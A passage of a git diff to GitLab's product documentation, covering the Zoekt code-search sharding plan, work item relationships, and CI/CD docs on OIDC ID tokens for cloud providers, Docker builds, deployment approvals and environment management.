sophisticated than `rsync` because the files are constantly +changing and files may be getting deleted while the sync is happening so we +would want to be syncing the updates in batches somehow without slowing down +indexing. + +Implementing sharding in GitLab simplifies the additional infrastructure +components that need to be deployed and allows more flexibility to control our +rollout to many customers alongside our rollout of multiple shards. + +Implementing syncing from primary -> replica on Zoekt nodes at the filesystem +level optimizes that overall resource usage. We only need to sync the index +files to replicas as the bare repo is just a cache. This saves on: + +1. Disk space on replicas +1. CPU usage on replicas as it does not need to rebuild the index +1. Load on Gitaly to clone the repos + +We plan to defer the implementation of these high availability aspects until +later, but a preliminary plan would be: + +1. GitLab is configured with a pool of Zoekt servers +1. GitLab assigns groups randomly a Zoekt primary server +1. There will also be Zoekt replica servers +1. Periodically Zoekt primary servers will sync their `.zoekt` index files to + their respective replicas +1. There will need to be some process by which to promote a replica to a + primary if the primary is having issues. We will be using Consul for + keeping track of which is the primary and which are the replicas. +1. When indexing a project GitLab will queue a Sidekiq job to update the index + on the primary +1. When searching we will randomly select one of the Zoekt primaries or replica + servers for the group being searched. We don't care which is "more up to + date" as code search will be "eventually consistent" and all reads may read + slightly out of date indexes. We will have a target of maximum latency of + index updates and may consider removing nodes from rotation if they are too + far out of date. +1. We will shard everything by top level group as this ensures group search can + always search a single Zoekt server. Aggregation may be possible for global + searches at some point in future if this turns out to be important. Smaller + self-managed instances may use a single Zoekt server allowing global + searches to work without any aggregation being implemented. Depending on our + largest group sizes and scaling limitations of a single node Zoekt server we + may consider implementing an approach where a group can be assigned multiple + shards. + +The downside of the chosen path will be added complexity of managing all these +Zoekt servers from GitLab when compared with a "proxy" layer outside of GitLab +that is managing all of these shards. We will consider this decision a work in +progress and reassess if it turns out to add too much complexity to GitLab. + +#### Sharding proposal using GitLab `::Zoekt::Shard` model + +This is already implemented as the `::Zoekt::IndexedNamespace` +implements a many-to-many relationship between namespaces and shards. + +#### Replication and service discovery using Consul + +If we plan to replicate at the Zoekt node level as described above we need to +change our data model to use a one-to-many relationship from `zoekt_shards -> +namespaces`. This means making the `namespace_id` column unique in +`zoekt_indexed_namespaces`. Then we need to implement a service discovery +approach where the `index_url` always points at a primary Zoekt node and the +`search_url` is a DNS record with N replicas and the primary. We then choose +randomly from `search_url` records when searching. + +### Iterations + +1. Make available for `gitlab-org` +1. Improve monitoring +1. Improve performance +1. Make available for select customers +1. Implement sharding +1. Implement replication +1. Make available to many more licensed groups +1. Implement automatic (re)balancing of shards +1. Estimate costs for rolling out to all licensed groups and decide if it's worth it or if we need to optimize further or adjust our plan +1. Rollout to all licensed groups +1. Improve performance +1. Assess costs and decide whether we should roll out to all free customers diff --git a/doc/architecture/blueprints/work_items/index.md b/doc/architecture/blueprints/work_items/index.md index 058282ec2b7..2c854ecea59 100644 --- a/doc/architecture/blueprints/work_items/index.md +++ b/doc/architecture/blueprints/work_items/index.md @@ -70,6 +70,24 @@ All Work Item types share the same pool of predefined widgets and are customized \* status is not currently a widget, but a part of the root work item, similar to title +### Work item relationships + +Work items can be related to other work items in a number of different ways: + +- Parent: A direct ancestor to the current work item, whose completion relies on completing this work item. +- Child: A direct descendant of the current work item, which contributes to this work item's completion. +- Blocked by: A work item preventing the completion of the current work item. +- Blocks: A work item whose completion is blocked by the current work item. +- Related: A work item that is relevant to the subject of the current work item, but does not directly contribute to or block the completion of this work item. + +#### Hierarchy + +Parent-child relationships form the basis of **hierarchy** in work items. Each work item type has a defined set of types that can be parents or children of that type. + +As types expand, and parent items have their own parent items, the hierarchy capability can grow exponentially. + +[Pajamas](https://design.gitlab.com/objects/work-item#hierarchy) documents how to display hierarchies depending on context. + ### Work Item view The new frontend view that renders Work Items of any type using global Work Item `id` as an identifier. @@ -119,6 +137,7 @@ Work Item architecture is designed with making all the features for all the type ### Links +- [Work items in Pajamas Design System](https://design.gitlab.com/objects/work-item) - [Work items initiative epic](https://gitlab.com/groups/gitlab-org/-/epics/6033) - [Tasks roadmap](https://gitlab.com/groups/gitlab-org/-/epics/7103?_gl=1*zqatx*_ga*NzUyOTc3NTc1LjE2NjEzNDcwMDQ.*_ga_ENFH3X7M5Y*MTY2MjU0MDQ0MC43LjEuMTY2MjU0MDc2MC4wLjAuMA..) - [Work Item "Vision" Prototype](https://gitlab.com/gitlab-org/gitlab/-/issues/368607) diff --git a/doc/architecture/index.md b/doc/architecture/index.md index 689ff2afaa0..2467ba33fae 100644 --- a/doc/architecture/index.md +++ b/doc/architecture/index.md @@ -8,3 +8,14 @@ toc: false - [Architecture at GitLab](https://about.gitlab.com/handbook/engineering/architecture/) - [Architecture Workflow](https://about.gitlab.com/handbook/engineering/architecture/workflow/) + +## Contributing + +At GitLab, everyone can contribute, including to our architecture blueprints. + +If you would like to contribute to any of these blueprints, feel free to: + +1. Go to the [source files in the repository](https://gitlab.com/gitlab-org/gitlab/tree/master/doc/architecture/blueprints) + and select the blueprint you wish to contribute to. +1. [Create a merge request](../development/contributing/merge_request_workflow.md). +1. `@` message both an author and a coach assigned to the blueprint, as listed below. diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index c93d2b6a82a..1aa579b842a 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -47,7 +47,7 @@ To ensure maximum availability of the cache, do one or more of the following: - [Tag your runners](../runners/configure_runners.md#use-tags-to-control-which-jobs-a-runner-can-run) and use the tag on jobs that share the cache. -- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-project-runner-from-being-enabled-for-other-projects). - [Use a `key`](../yaml/index.md#cachekey) that fits your workflow. For example, you can configure a different cache for each branch. @@ -570,7 +570,7 @@ You can clear the cache in the GitLab UI: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **Clear runner caches**. +1. In the upper right, select **Clear runner caches**. On the next commit, your CI/CD jobs use a new cache. diff --git a/doc/ci/cloud_services/aws/index.md b/doc/ci/cloud_services/aws/index.md index cc4dd53b29f..484a159cd2b 100644 --- a/doc/ci/cloud_services/aws/index.md +++ b/doc/ci/cloud_services/aws/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect in AWS to retrieve temporary credentials +# Configure OpenID Connect in AWS to retrieve temporary credentials **(FREE)** In this tutorial, we'll show you how to use a GitLab CI/CD job with a JSON web token (JWT) to retrieve temporary credentials from AWS without needing to store secrets. To do this, you must configure OpenID Connect (OIDC) for ID federation between GitLab and AWS. For background and requirements for integrating GitLab using OIDC, see [Connect to cloud services](../index.md). @@ -30,6 +30,8 @@ Include the following information: After you create the identity provider, configure a [web identity role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) with conditions for limiting access to GitLab resources. Temporary credentials are obtained using [AWS Security Token Service](https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html), so set the `Action` to [sts:AssumeRoleWithWebIdentity](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html). +You can create a [custom trust policy](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-custom.html) +for the role to limit authorization to a specific group, project, branch, or tag. For the full list of supported filtering types, see [Connect to cloud services](../index.md#configure-a-conditional-role-with-oidc-claims). ```json diff --git a/doc/ci/cloud_services/azure/index.md b/doc/ci/cloud_services/azure/index.md index b846ee4b792..321f9849632 100644 --- a/doc/ci/cloud_services/azure/index.md +++ b/doc/ci/cloud_services/azure/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect in Azure to retrieve temporary credentials +# Configure OpenID Connect in Azure to retrieve temporary credentials **(FREE)** This tutorial demonstrates how to use a JSON web token (JWT) in a GitLab CI/CD job to retrieve temporary credentials from Azure without needing to store secrets. @@ -12,6 +12,9 @@ to retrieve temporary credentials from Azure without needing to store secrets. To get started, configure OpenID Connect (OIDC) for identity federation between GitLab and Azure. For more information on using OIDC with GitLab, read [Connect to cloud services](../index.md). +Azure [does not support wildcard matching for subjects of a conditional role](https://gitlab.com/gitlab-org/gitlab/-/issues/346737#note_836584745). +A separate credential configuration must be created for each branch that needs to access Azure. + Prerequisites: - Access to an existing Azure Subscription with `Owner` access level. diff --git a/doc/ci/cloud_services/google_cloud/index.md b/doc/ci/cloud_services/google_cloud/index.md index ba6efa4d35c..516a2d05cd1 100644 --- a/doc/ci/cloud_services/google_cloud/index.md +++ b/doc/ci/cloud_services/google_cloud/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect with GCP Workload Identity Federation +# Configure OpenID Connect with GCP Workload Identity Federation **(FREE)** WARNING: The `CI_JOB_JWT_V2` variable is under development [(alpha)](../../../policy/alpha-beta-support.md#alpha-features) and is not yet suitable for production use. @@ -30,7 +30,7 @@ To complete this tutorial: ## Create the Google Cloud Workload Identity Pool -[Create a new Google Cloud Workload Identity Pool](https://cloud.google.com/iam/docs/configuring-workload-identity-federation#oidc) with the following options: +[Create a new Google Cloud Workload Identity Pool](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#oidc) with the following options: - **Name**: Human-friendly name for the Workload Identity Pool, such as `GitLab`. - **Pool ID**: Unique ID in the Google Cloud project for the Workload Identity Pool, @@ -42,7 +42,7 @@ We recommend creating a single _pool_ per GitLab installation per Google Cloud p ## Create a Workload Identity Provider -[Create a new Google Cloud Workload Identity Provider](https://cloud.google.com/iam/docs/configuring-workload-identity-federation#create_the_workload_identity_pool_and_provider) +[Create a new Google Cloud Workload Identity Provider](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#create_the_workload_identity_pool_and_provider) inside the Workload Identity Pool created in the previous step, using the following options: - **Provider type**: OpenID Connect (OIDC). @@ -86,7 +86,7 @@ To grant your GitLab CI/CD job permissions on Google Cloud, you must: service account on Google Cloud resources. These permissions vary significantly based on your use case. In general, grant this service account the permissions on your Google Cloud project and resources you want your GitLab CI/CD job to be able to use. For example, if you needed to upload a file to a Google Cloud Storage bucket in your GitLab CI/CD job, you would grant this Service Account the `roles/storage.objectCreator` role on your Cloud Storage bucket. -1. [Grant the external identity permissions](https://cloud.google.com/iam/docs/using-workload-identity-federation#impersonate) +1. [Grant the external identity permissions](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#impersonate) to impersonate that Service Account. This step enables a GitLab CI/CD job to _authorize_ to Google Cloud, via Service Account impersonation. This step grants an IAM permission _on the Service Account itself_, giving the external identity permissions to act as that diff --git a/doc/ci/cloud_services/index.md b/doc/ci/cloud_services/index.md index b7129d92205..9304e3562d9 100644 --- a/doc/ci/cloud_services/index.md +++ b/doc/ci/cloud_services/index.md @@ -4,19 +4,34 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Connect to cloud services +# Connect to cloud services **(FREE)** > - `CI_JOB_JWT` variable for reading secrets from Vault [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) in GitLab 12.10. > - `CI_JOB_JWT_V2` variable to support additional OIDC providers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/346737) in GitLab 14.7. +> - [ID tokens](../yaml/index.md) to support any OIDC provider, including HashiCorp Vault, [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356986) in GitLab 15.7. -GitLab CI/CD supports [OpenID Connect (OIDC)](https://openid.net/connect/faq/) that allows your build and deployment job access to cloud credentials and services. Historically, teams stored secrets in projects or applied permissions on the GitLab Runner instance to build and deploy. To support this, a predefined variable named `CI_JOB_JWT_V2` is included in the CI/CD job allowing you to follow a scalable and least-privilege security approach. +GitLab CI/CD supports [OpenID Connect (OIDC)](https://openid.net/connect/faq/) to +give your build and deployment jobs access to cloud credentials and services. +Historically, teams stored secrets in projects or applied permissions on the GitLab Runner +instance to build and deploy. OIDC capable [ID tokens](../yaml/index.md#id_tokens) are configurable +in the CI/CD job allowing you to follow a scalable and least-privilege security approach. + +In GitLab 15.6 and earlier, you must use `CI_JOB_JWT_V2` instead of an ID token, +but it is not customizable. In GitLab 14.6 an earlier you must use the `CI_JOB_JWT`, which has limited support. ## Requirements - Account on GitLab. - Access to a cloud provider that supports OIDC to configure authorization and create roles. -The original implementation of `CI_JOB_JWT` supports [HashiCorp Vault integration](../examples/authenticating-with-hashicorp-vault/index.md). The updated implementation of `CI_JOB_JWT_V2` supports additional cloud providers with OIDC including AWS, Azure, GCP, and Vault. +ID tokens and `CI_JOB_JWT_V2` support cloud providers with OIDC, including: + +- AWS +- Azure +- GCP +- HashiCorp Vault + +The `CI_JOB_JWT` only supports the [HashiCorp Vault integration](../examples/authenticating-with-hashicorp-vault/index.md). NOTE: Configuring OIDC enables JWT token access to the target environments for all pipelines. @@ -25,10 +40,6 @@ review for the pipeline, focusing on the additional access. You can use the [sof as a starting point, and for more information about supply chain attacks, see [How a DevOps Platform helps protect against supply chain attacks](https://about.gitlab.com/blog/2021/04/28/devops-platform-supply-chain-attacks/). -The `CI_JOB_JWT_V2` variable is available for testing, but the full feature is planned -to be generally available when [issue 360657](https://gitlab.com/gitlab-org/gitlab/-/issues/360657) -is complete. - ## Use cases - Removes the need to store secrets in your GitLab group or project. Temporary credentials can be retrieved from your cloud provider through OIDC. @@ -39,18 +50,18 @@ is complete. ## How it works -Each job has a JSON web token (JWT) provided as a CI/CD [predefined variable](../variables/predefined_variables.md) named `CI_JOB_JWT` or `CI_JOB_JWT_V2`. This JWT can be used to authenticate with the OIDC-supported cloud provider such as AWS, Azure, GCP, or Vault. +Each job can be configured with ID tokens, which are provided as a CI/CD variable. These JWTs can be used to authenticate with the OIDC-supported cloud provider such as AWS, Azure, GCP, or Vault. The following fields are included in the JWT: | Field | When | Description | | ----------------------- | ------ | ----------- | +| `aud` | Always | Specified in the [ID tokens](../yaml/index.md#id_tokens) configuration | | `jti` | Always | Unique identifier for this token | | `iss` | Always | Issuer, the domain of your GitLab instance | | `iat` | Always | Issued at | | `nbf` | Always | Not valid before | | `exp` | Always | Expires at | -| `aud` | Always | Issuer, the domain of your GitLab instance | | `sub` | Always |`project_path:{group}/{project}:ref_type:{type}:ref:{branch_name}` | | `namespace_id` | Always | Use this to scope to group or user level namespace by ID | | `namespace_path` | Always | Use this to scope to group or user level namespace by path | @@ -72,7 +83,7 @@ The following fields are included in the JWT: { "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", "iss": "https://gitlab.example.com", - "aud": "https://gitlab.example.com", + "aud": "https://vault.example.com", "iat": 1585710286, "nbf": 1585798372, "exp": 1585713886, @@ -102,8 +113,8 @@ sequenceDiagram participant GitLab Note right of Cloud: Create OIDC identity provider Note right of Cloud: Create role with conditionals - Note left of GitLab: CI/CD job with CI_JOB_JWT_V2 - GitLab->>+Cloud: Call cloud API with CI_JOB_JWT_V2 + Note left of GitLab: CI/CD job with ID token + GitLab->>+Cloud: Call cloud API with ID token Note right of Cloud: Decode & verify JWT with public key (https://gitlab/-/jwks) Note right of Cloud: Validate audience defined in OIDC Note right of Cloud: Validate conditional (sub, aud) role @@ -115,14 +126,25 @@ sequenceDiagram 1. Create an OIDC identity provider in the cloud (for example, AWS, Azure, GCP, Vault). 1. Create a conditional role in the cloud service that filters to a group, project, branch, or tag. -1. The CI/CD job includes a predefined variable `CI_JOB_JWT_V2` that is a JWT token. You can use this token for authorization with your cloud API. +1. The CI/CD job includes an ID token which is a JWT token. You can use this token for authorization with your cloud API. 1. The cloud verifies the token, validates the conditional role from the payload, and returns a temporary credential. ## Configure a conditional role with OIDC claims -To configure the trust between GitLab and OIDC, you must create a conditional role in the cloud provider that checks against the JWT token. The condition is validated against the JWT to create a trust specifically against two claims, the audience and subject. +To configure the trust between GitLab and OIDC, you must create a conditional role in the cloud provider that checks against the JWT. +The condition is validated against the JWT to create a trust specifically against two claims, the audience and subject. + +- Audience or `aud`: Configured as part of the ID token: + + ```yaml + job_needing_oidc_auth: + id_tokens: + OIDC_TOKEN: + aud: https://oidc.provider.com + script: + - echo $OIDC_TOKEN + ``` -- Audience or `aud`: The URL of the GitLab instance. This is defined when the identity provider is first configured in your cloud provider. - Subject or `sub`: A concatenation of metadata describing the GitLab CI/CD workflow including the group, project, branch, and tag. The `sub` field is in the following format: - `project_path:{group}/{project}:ref_type:{type}:ref:{branch_name}` diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 49bce75e183..7c741ef3842 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -46,7 +46,7 @@ It has a pipeline that looks like the following: Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, and even if service `a` takes a very long time to build, service `b` doesn't wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and run together in staged sequence just like any normal +`_d` can be left alone and run together in staged sequence just like any standard GitLab pipeline. ## Use cases @@ -68,7 +68,7 @@ as quickly as possible. Relationships are defined between jobs using the [`needs` keyword](../yaml/index.md#needs). -Note that `needs` also works with the [parallel](../yaml/index.md#parallel) keyword, +The `needs` keyword also works with the [parallel](../yaml/index.md#parallel) keyword, giving you powerful options for parallelization within your pipeline. ## Limitations diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 20bdd059a85..a8c192dc944 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -25,9 +25,6 @@ To enable Docker commands for your CI/CD jobs, you can use: - [Docker-in-Docker](#use-docker-in-docker) - [Docker socket binding](#use-docker-socket-binding) -If you are using shared runners on GitLab.com, -[learn more about how these runners are configured](../runners/index.md). - ### Use the shell executor To include Docker commands in your CI/CD jobs, you can configure your runner to @@ -76,7 +73,7 @@ the Docker commands, but needs permission to do so. You can now use `docker` commands (and install `docker-compose` if needed). When you add `gitlab-runner` to the `docker` group, you are effectively granting `gitlab-runner` full root permissions. -Learn more about the [security of the `docker` group](https://blog.zopyx.com/on-docker-security-docker-group-considered-harmful/). +For more information, see the [security of the `docker` group](https://blog.zopyx.com/on-docker-security-docker-group-considered-harmful/). ### Use Docker-in-Docker @@ -369,7 +366,7 @@ are done to the services as well, making these incompatible. #### Use the Docker executor with Docker socket binding -To make Docker available in the context of the image, you will need to mount +To make Docker available in the context of the image, you need to mount `/var/run/docker.sock` into the launched containers. To do this with the Docker executor, you need to add `"/var/run/docker.sock:/var/run/docker.sock"` to the [Volumes in the `[runners.docker]` section](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 0ba510acdbc..022aa7c3093 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -158,7 +158,7 @@ a useless shell layer. However, that does not work for all Docker versions. - For Docker 17.03 and earlier, the `entrypoint` can be set to `/bin/sh -c`, `/bin/bash -c`, or an equivalent shell available in the image. -The syntax of `image:entrypoint` is similar to [Dockerfile's `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint). +The syntax of `image:entrypoint` is similar to [Dockerfile `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint). Let's assume you have a `super/sql:experimental` image with a SQL database in it. You want to use it as a base image for your job because you @@ -453,7 +453,7 @@ registries to the `"credHelpers"` hash. ### Use checksum to keep your image secure -We recommend using the image checksum in your job definition in your `.gitlab-ci.yml` file to verify the integrity of the image. A failed image integrity verification will prevent you from using a modified container. +We recommend using the image checksum in your job definition in your `.gitlab-ci.yml` file to verify the integrity of the image. A failed image integrity verification prevents you from using a modified container. To use the image checksum you have to append the checksum at the end: diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md index a95c47ca4b0..089ecefb373 100644 --- a/doc/ci/environments/deployment_approvals.md +++ b/doc/ci/environments/deployment_approvals.md @@ -113,22 +113,20 @@ NOTE: To protect, update, or unprotect an environment, you must have at least the Maintainer role. -### Optional settings - -#### Allow self-approval +### Allow self-approval **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8. -By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs. -You can allow the self-approval by the following settings: +By default, the user who triggers a deployment pipeline can't also approve the deployment job. +To allow self-approval of a deployment job: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Protected environments**. -1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**. +1. From the **Approval options**, select the **Allow pipeline triggerer to approve deployment** checkbox. -By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline -if the triggerer is allowed to approve, otherwise nothing happens. +When a pipeline runs, deployment jobs are automatically approved in the pipeline if the user who +triggered the deployment is allowed to approve. ## Approve or reject a deployment @@ -139,6 +137,9 @@ Using either the GitLab UI or the API, you can: - Approve a deployment to allow it to proceed. - Reject a deployment to prevent it. +NOTE: +GitLab administrators can approve or reject all deployments. + ### Approve or reject a deployment using the UI Prerequisites: diff --git a/doc/ci/environments/img/environments_project_home.png b/doc/ci/environments/img/environments_project_home.png Binary files differnew file mode 100644 index 00000000000..36b33e260f0 --- /dev/null +++ b/doc/ci/environments/img/environments_project_home.png diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 514a0b255c5..60450692794 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -28,15 +28,17 @@ Prerequisites: - You must have at least the Reporter role. -To view a list of environments and deployments: +There are a few ways to view a list of environments for a given project: -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Deployments > Environments**. +- On the project's overview page, if at least one environment is available (that is, not stopped). +  + +- On the left sidebar, select **Deployments > Environments**. The environments are displayed.  -1. To view a list of deployments for an environment, select the environment name, +- To view a list of deployments for an environment, select the environment name, for example, `staging`.  @@ -62,82 +64,100 @@ To search environments by name: ## Types of environments -There are two types of environments: +An environment is either static or dynamic: -- Static environments have static names, like `staging` or `production`. -- Dynamic environments have dynamic names. Dynamic environments - are a fundamental part of [Review apps](../review_apps/index.md). +- Static environment + - Usually reused by successive deployments. + - Has a static name - for example, `staging` or `production`. + - Created manually or as part of a CI/CD pipeline. +- Dynamic environment + - Usually created in a CI/CD pipeline and used by only a single deployment, then either stopped or + deleted. + - Has a dynamic name, usually based on the value of a CI/CD variable. + - A feature of [review apps](../review_apps/index.md). ### Create a static environment -You can create an environment and deployment in the UI or in your `.gitlab-ci.yml` file. +You can create a static environment in the UI or in your `.gitlab-ci.yml` file. + +#### In the UI + +Prerequisites: -In the UI: +- You must have at least the Developer role. + +To create a static environment in the UI: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. 1. Select **New environment**. -1. Enter a name and external URL. +1. Complete the fields. 1. Select **Save**. -In your `.gitlab-ci.yml` file: +#### In your `.gitlab-ci.yml` file -1. Specify a name for the environment and optionally, a URL, which determines the deployment URL. - For example: +Prerequisites: - ```yaml - deploy_staging: - stage: deploy - script: - - echo "Deploy to staging server" - environment: - name: staging - url: https://staging.example.com - ``` +- You must have at least the Developer role. -1. Trigger a deployment. (For example, by creating and pushing a commit.) +To create a static environment, in your `.gitlab-ci.yml` file: -When the job runs, the environment and deployment are created. +1. Define a job in the `deploy` stage. +1. In the job, define the environment `name` and `url`. If an +environment of that name doesn't exist when the pipeline runs, it is created. NOTE: -Some characters cannot be used in environment names. -For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). +Some characters cannot be used in environment names. For more information about the +`environment` keywords, see the [`.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). -### Create a dynamic environment - -To create a dynamic name and URL for an environment, you can use -[predefined CI/CD variables](../variables/predefined_variables.md). For example: +For example, to create an environment named `staging`, with URL `https://staging.example.com`: ```yaml -deploy_review: +deploy_staging: stage: deploy script: - - echo "Deploy a review app" + - echo "Deploy to staging server" environment: - name: review/$CI_COMMIT_REF_SLUG - url: https://$CI_ENVIRONMENT_SLUG.example.com - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - when: never - - if: $CI_COMMIT_BRANCH + name: staging + url: https://staging.example.com ``` -In this example: +### Create a dynamic environment -- The `name` is `review/$CI_COMMIT_REF_SLUG`. Because the [environment name](../yaml/index.md#environmentname) - can contain slashes (`/`), you can use this pattern to distinguish between dynamic and static environments. -- For the `url`, you could use `$CI_COMMIT_REF_SLUG`, but because this value - may contain a `/` or other characters that would not be valid in a domain name or URL, - use `$CI_ENVIRONMENT_SLUG` instead. The `$CI_ENVIRONMENT_SLUG` variable is guaranteed to be unique. +To create a dynamic environment, you use [CI/CD variables](../variables/index.md) that are unique to each pipeline. + +Prerequisites: -You do not have to use the same prefix or only slashes (`/`) in the dynamic environment name. -However, when you use this format, you can [group similar environments](#group-similar-environments). +- You must have at least the Developer role. + +To create a dynamic environment, in your `.gitlab-ci.yml` file: + +1. Define a job in the `deploy` stage. +1. In the job, define the following environment attributes: + - `name`: Use a related CI/CD variable like `$CI_COMMIT_REF_SLUG`. Optionally, add a static + prefix to the environment's name, which [groups in the UI](#group-similar-environments) all + environments with the same prefix. + - `url`: Optional. Prefix the hostname with a related CI/CD variable like `$CI_ENVIRONMENT_SLUG`. NOTE: -Some variables cannot be used as environment names or URLs. -For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). +Some characters cannot be used in environment names. For more information about the +`environment` keywords, see the [`.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). + +In the following example, every time the `deploy_review_app` job runs the environment's name and +URL are defined using unique values. + +```yaml +deploy_review_app: + stage: deploy + script: make deploy + environment: + name: review/$CI_COMMIT_REF_SLUG + url: https://$CI_ENVIRONMENT_SLUG.example.com + only: + - branches + except: + - main +``` ## Deployment tier of environments @@ -200,10 +220,8 @@ associated with your project, you can configure these deployments from your `.gitlab-ci.yml` file. NOTE: -Kubernetes configuration isn't supported for Kubernetes clusters that are +Kubernetes configuration isn't supported for Kubernetes clusters [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). -To follow progress on support for GitLab-managed clusters, see the -[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). The following configuration options are supported: @@ -330,7 +348,7 @@ Note the following: NOTE: For Windows runners, using `echo` to write to `.env` files may fail. Using the PowerShell `Add-Content`command -will help in such cases. For example: +helps in such cases. For example: ```powershell Add-Content -Path deploy.env -Value "DYNAMIC_ENVIRONMENT_URL=$DYNAMIC_ENVIRONMENT_URL" @@ -534,7 +552,7 @@ In this example, if the configuration is not identical: Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment), -the runner won't try to check out the code after the branch is deleted. +the runner doesn't try to check out the code after the branch is deleted. The `stop_review_app` job **must** have the following keywords defined: @@ -612,6 +630,16 @@ Because `stop_review_app` is set to `auto_stop_in: 1 week`, if a merge request is inactive for more than a week, GitLab automatically triggers the `stop_review_app` job to stop the environment. +#### Stop an environment without running the `on_stop` action + +There may be times when you want to stop an environment without running the defined +[`on_stop`](../yaml/index.md#environmenton_stop) action. For example, you want to delete many +environments without using CI/CD minutes. + +To stop an environment without running the defined `on_stop` action, execute the +[Stop an environment API](../../api/environments.md#stop-an-environment) with the parameter +`force=true`. + #### Stop an environment through the UI NOTE: @@ -680,7 +708,7 @@ You can view a deployment's expiration date in the GitLab UI. 1. On the left sidebar, select **Deployments > Environments**. 1. Select the name of the deployment. -In the top left, next to the environment name, the expiration date is displayed. +In the upper left, next to the environment name, the expiration date is displayed. #### Override a deployment's scheduled stop time @@ -689,20 +717,22 @@ You can manually override a deployment's expiration date. 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. 1. Select the deployment name. -1. On the top right, select the thumbtack (**{thumbtack}**). +1. in the upper right, select the thumbtack (**{thumbtack}**).  The `auto_stop_in` setting is overwritten and the environment remains active until it's stopped manually. -#### Delete a stopped environment +### Delete an environment -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20620) in GitLab 12.10. +Delete an environment when you want to remove it and all its deployments. + +Prerequisites: -You can delete [stopped environments](#stop-an-environment) in the GitLab UI or by using -[the API](../../api/environments.md#delete-an-environment). +- You must have at least the Developer role. +- You must [stop](#stop-an-environment) the environment before it can be deleted. -To delete a stopped environment in the GitLab UI: +To delete an environment: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. @@ -710,18 +740,6 @@ To delete a stopped environment in the GitLab UI: 1. Next to the environment you want to delete, select **Delete environment**. 1. On the confirmation dialog box, select **Delete environment**. -#### Delete an active environment without running a stop job - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225794) in GitLab 15.1. - -You can delete an active environment without running a stop job. -This is useful when you have an active environment, but the corresponding `action: stop` job can't run or succeed for some reason. - -To delete an active environment: - -1. Execute the [Stop an environment API](../../api/environments.md#stop-an-environment) while specifying `force=true`. -1. Execute the [Delete an environment API](../../api/environments.md#delete-an-environment). - ### Access an environment for preparation or verification purposes > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208655) in GitLab 13.2. @@ -975,7 +993,7 @@ the `review/feature-1` 